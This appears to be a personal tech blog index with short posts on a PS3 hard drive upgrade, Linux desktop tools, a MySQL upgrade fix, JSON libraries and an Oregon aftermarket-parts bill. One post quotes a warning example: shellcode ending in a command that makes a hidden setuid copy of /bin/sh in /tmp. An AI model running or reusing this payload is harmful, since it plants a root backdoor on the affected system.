Upgraded my hard drive on my ps3 yesterday
Written on January 27, 2010 – 1:03 am | by mpayne
I would have done it a lot sooner if I knew it was that easy. Sony definetly paves the way for you.
Written on January 27, 2010 – 1:03 am | by mpayne
Cairo-Dock removed in favor of docky (from gnome-do)
Written on January 5, 2010 – 8:05 pm | by mpayne
While I used Cairo-Dock for a while I found it bit quirky. I it would sometimes be misaligned and never had the smoothness of the dock in my mac laptop. Configuration had a lot of options but is somewhat clunky.
Docky is off to a nice smart. It seems smoother and more intelligent with regards to auto-hiding. It has great integration with gnome-do.
Link to install guide.
Mysql back up an running after 9.10 upgrade
Written on November 14, 2009 – 12:32 am | by mpayne
Apparently mysql did not fully upgrade after moving from ubuntu 9.04 to 9.10.
A quick search (also) revealed others were having the problem as well.
I was able to fix the issue by selecting mysql-client-5.1 over mysql-client-5.0 (which it was stuck at after the install) for install. In addition, I had to add mysql-server-5.1. mysql-server-core-5.1 was already there so I assume rest of the server never over after the upgrade.
Auto Enthusiasts in Oregon Please stand up.!!
Written on February 17, 2009 – 12:48 am | by mpayne
reference
URGENT LEGISLATIVE ALERT
Oregon Introduces Bill to Prohibit Sale of Aftermarket Parts
At the request of Governor Theodore Kulongoski, the Oregon Speaker
of the House has introduced legislation (H.B. 2186) to prohibit the
sale and distribution of aftermarket motor vehicle parts if
alternatives are available that “decrease greenhouse gas emissions from
motor vehicles.” The bill is primarily focused on aftermarket tires and
would authorize the Environmental Quality Commission to implement
enforcement regulations, likely based on a rolling resistance
calculation.
We Urge You to Contact Oregon Speaker of the House Dave Hunt
and Members of the Environment and Water Committee (Contact Information
Below) Immediately to Request Their Opposition to H.B. 2186
- H.B. 2186 would regulate vehicle fuel economy, an authority reserved to the federal government.
- H.B. 2186 could ban tires that may have improved performance,
handling or appearance features, based solely on a rolling resistance
rating. In addition, this program could easily distract consumers from
focusing on more important safety issues such as tire inflation and
overloading of vehicles. - H.B. 2186 would force consumers to purchase only original
equipment manufacturer (OEM) tires because the program essentially
exempts OEM-selected tires and unfairly implies that they are superior
to aftermarket products. - H.B. 2186 could prohibit aftermarket parts designed to either
personalize or optimize specific vehicle performance attributes
including handling, towing, suspension, fuel economy, etc. - H.B. 2186 provides broad authority to government regulators
and could limit a range of aftermarket parts currently available to
consumers based on the subjective determination of government
regulators.
DON’T DELAY! Please contact Oregon Speaker Dave Hunt and
the House Environment and Water Committee immediately to urge his
opposition to H.B. 2186.
Oregon House Speaker Dave Hunt
Phone: 503/986-1440
Email: rep.davehunt@state.or.us
Oregon House Environment and Water Committee
Representative Ben Cannon – Chair
Phone: 503/986-1446
Email: rep.bencannon@state.or.us
Representative Jules Bailey
Phone: 503/986-1442
Email: rep.juleskopelbailey@state.or.us
Representative Phil Barnhart
Phone: 503/986-1411
Email: rep.philbarnhart@state.or.us
Representative Cliff Bentz
Phone: 503/986-1460
Email: rep.cliffbentz@state.or.us
Representative Deborah Boone
Phone: 503/986-1432
Email: rep.deborahboone@state.or.us
Representative Vic Gilliam
Phone: 503/986-1418
Email: rep.vicgilliam@state.or.us
Representative Bob Jenson
Phone: 503/986-1458
Email: rep.bobjenson@state.or.us
Representative Jefferson Smith
Phone: 503/986-1447
Email: rep.jeffersonsmith@state.or.us
Do you know what this does?
Written on February 16, 2009 – 6:34 pm | by mpayne
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
reference
TECH SOURCE FROM BOHOL: The 7 Deadly Linux Commands
Tags: linux
Today’s verdict on JSON deserialization
Written on February 13, 2009 – 12:11 pm | by mpayne
XStream == FAIL (still good for xml)
http://xstream.codehaus.org/json-tutorial.html
Does not handle unamed paths/nodes(per mailing list).
FLEXJSON == Good
http://flexjson.sourceforge.net/
No problems with {”type”:”chairmanslife”,”hbdFlag”:”Y”,”htkLifeCredit”:”0″,”lifeMethodCredit”:”35,644″,”lifeThreshold”:”165,000″,”nonAffiliatedFlag”:”N”,”pmlFixedLifeCredit”:”7,225″,”pmlVariableLifeCredit”:”28,419″}
JSONDeserializer<Detail> deserializer = new JSONDeserializer<Detail>();
detail = deserializer.use(null, Detail.class).deserialize(blobString);
How to reinstall your ubuntu with all the same packages in a fresh install
Written on February 12, 2009 – 12:10 pm | by mpayne
http://ubuntuforums.org/showthread.php?t=1057608
need to keep this handy
Funny new Mac laptop feature
Written on January 7, 2009 – 9:40 pm | by mpayne
Steve Jobs, You Magnificent Bastard!
A laptop without a keyboard
Cheap source for methnol if running alcohol injection.
Written on December 18, 2008 – 10:53 pm | by mpayne
According to this forum
1 gallon of supertech which is 40% methanol Per the MSDS sheet plus 2
bottle of gas line antifreeze, windshield washer consentrate or Heet
will get you your 50/50 mix.
Adding a hint to indicate links are external
Written on November 27, 2008 – 12:17 am | by mpayne
Good tip from — >
http://www.learningjquery.com/2008/08/quick-tip-dynamically-add-an-icon-for-external-links#more-103